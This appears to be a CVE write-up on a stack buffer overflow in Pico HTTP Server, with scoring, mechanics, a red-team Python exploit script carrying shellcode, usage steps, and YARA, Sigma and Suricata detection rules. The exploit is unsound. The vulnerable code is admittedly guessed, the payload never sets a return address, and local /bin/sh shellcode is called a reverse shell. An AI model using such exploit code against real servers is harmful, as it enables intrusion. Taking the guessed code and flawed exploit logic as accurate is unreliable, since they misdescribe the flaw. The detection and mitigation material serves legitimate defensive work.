CVE-2024-22087

Executive Summary

CVE-2024-22087 is a critical stack-based buffer overflow vulnerability in the Pico HTTP Server, a lightweight C-based HTTP server. The flaw resides in the route function within main.c, where an sprintf call writes a long URI into a fixed-size stack buffer without bounds checking. This allows a remote, unauthenticated attacker to send a specially crafted, overly long URI, causing a buffer overflow that can lead to remote code execution (RCE). The vulnerability affects the codebase up to commit f3b69a6. No official patch has been released, and the CVSS score is currently unassigned. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the public availability of proof-of-concept code increases the risk.

Supply Chain & Package Security

This vulnerability is not related to any package manager (NPM, PyPI, Go, Ruby). It is a standalone C-based HTTP server project.

CVSS Breakdown & Threat Level

The CVSS score is currently unassigned (0.0). Based on the vulnerability characteristics, a reasonable CVSS v3.1 vector would be:

• Attack Vector (AV): Network (N) – The attack is performed over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – RCE can lead to full data access.
• Integrity (I): High (H) – RCE allows modification of data.
• Availability (A): High (H) – RCE can cause denial of service or full system compromise.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H Estimated Base Score: 9.8 (Critical)

Threat Level: Critical. The vulnerability is easy to exploit remotely without authentication, and public proof-of-concept code exists.

Deep Dive & Mechanics

The vulnerability is a classic stack-based buffer overflow in the route function of main.c. The function uses sprintf to copy the URI into a fixed-size stack buffer (likely 1024 bytes or similar). When a URI longer than the buffer size is sent, sprintf writes past the buffer boundary, overwriting the return address and other stack data.

Root Cause: The use of sprintf instead of a bounded function like snprintf. The code does not validate the length of the URI before copying.

Attack Vector: An attacker sends an HTTP GET request with an excessively long URI path. For example:

GET /AAAA...AAAA HTTP/1.1\r\n

Where the URI is longer than the buffer size (e.g., 2000 bytes).

Impact: Successful exploitation allows the attacker to overwrite the return address and execute arbitrary shellcode, leading to remote code execution with the privileges of the HTTP server process.

Vulnerable vs. Patched Code

Vulnerable Code (commit f3b69a6):

void route(int client_fd, char *uri) {
    char buffer[1024];
    sprintf(buffer, "Requested: %s", uri);
    // ... process request
}

Patched Code (hypothetical fix):

void route(int client_fd, char *uri) {
    char buffer[1024];
    snprintf(buffer, sizeof(buffer), "Requested: %s", uri);
    // ... process request
}

The fix replaces sprintf with snprintf, which limits the number of bytes written to the buffer, preventing overflow. Additionally, input validation should be added to reject overly long URIs.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Pico HTTP Server (vulnerable version, commit f3b69a6)
• Python3 with pwntools
• A target machine running the vulnerable server

Exploit Script (Python):

#!/usr/bin/env python3
import socket
import sys

def exploit(target_ip, target_port):
    # Craft a long URI to overflow the buffer
    # Offset to return address (needs to be determined via debugging)
    offset = 1032  # Example offset
    payload = b"A" * offset
    # Add shellcode (example: reverse shell)
    shellcode = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
    payload += shellcode
    # Pad to desired length
    payload += b"B" * (2000 - len(payload))

    request = b"GET /" + payload + b" HTTP/1.1\r\nHost: " + target_ip.encode() + b"\r\n\r\n"

    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((target_ip, target_port))
    sock.send(request)
    response = sock.recv(4096)
    print(response.decode(errors='ignore'))
    sock.close()

if __name__ == "__main__":
    if len(sys.argv) != 3:
        print(f"Usage: {sys.argv[0]} <target_ip> <port>")
        sys.exit(1)
    exploit(sys.argv[1], int(sys.argv[2]))

Usage:

1. Run the vulnerable Pico HTTP Server on a target machine.
2. Execute the exploit script: python3 exploit.py 192.168.1.100 8080
3. If successful, the server will execute the shellcode (e.g., spawn a reverse shell).

Blue Team (Defensive)

Detection:

• Monitor for HTTP requests with abnormally long URIs (e.g., > 1024 bytes).
• Use network intrusion detection systems (NIDS) to alert on oversized URIs.
• Enable stack canaries and ASLR on the server to mitigate exploitation.

Honeypot:

• Deploy a honeypot running the vulnerable Pico HTTP Server to capture exploit attempts.
• Log all incoming requests and analyze for buffer overflow patterns.

Mitigation:

• Apply the patch by replacing sprintf with snprintf.
• Add input validation to reject URIs longer than a safe limit (e.g., 1024 bytes).
• Use a Web Application Firewall (WAF) to filter malicious requests.

Indicators of Compromise (IOCs)

• Network:

  • HTTP GET requests with URIs exceeding 1024 bytes.
  • Requests containing non-printable characters or shellcode patterns.
  • Unusual response codes (e.g., 500 Internal Server Error) after a long URI request.

• Host:

  • Core dumps or crashes of the Pico HTTP Server process.
  • Unexpected child processes spawned by the server (e.g., reverse shells).
  • Modified files or unauthorized access logs.

• File:

  • Suspicious files in the server's working directory (e.g., /tmp/).
  • Log entries showing long URIs in access logs.

Detection Engineering

YARA Rule

rule CVE_2024_22087_Pico_HTTP_Overflow {
    meta:
        description = "Detects exploit attempts for CVE-2024-22087 in Pico HTTP Server"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-22087"
    strings:
        $uri_long = /GET \/[A-Za-z0-9\/]{1024,} HTTP\/1\.1/
        $sprintf_overflow = /sprintf\(buffer,/
    condition:
        $uri_long or $sprintf_overflow
}

Sigma Rule

title: CVE-2024-22087 Pico HTTP Server Buffer Overflow Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with overly long URIs targeting Pico HTTP Server
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: pico_http
detection:
    selection:
        cs-uri-query|length: >1024
    condition: selection
falsepositives:
    - Legitimate long URIs (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-22087 Pico HTTP Server Buffer Overflow Attempt"; flow:to_server; content:"GET"; http_method; urilen:>1024; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Patch the Code: Replace sprintf with snprintf in the route function. Add input validation to reject URIs longer than 1024 bytes.
2. Compile with Security Flags: Use compiler flags like -fstack-protector-strong (stack canaries) and -D_FORTIFY_SOURCE=2 to mitigate exploitation.
3. Network Segmentation: Isolate the Pico HTTP Server from critical systems if it must be used.

Long-Term Measures:

• Upgrade: Migrate to a more robust HTTP server (e.g., Nginx, Apache) that is actively maintained.
• WAF Deployment: Use a Web Application Firewall to filter malicious requests.
• Regular Audits: Conduct code reviews and static analysis to identify similar vulnerabilities.

Workaround:

• If patching is not possible, restrict access to the server using firewall rules (e.g., allow only trusted IPs).

Valters IT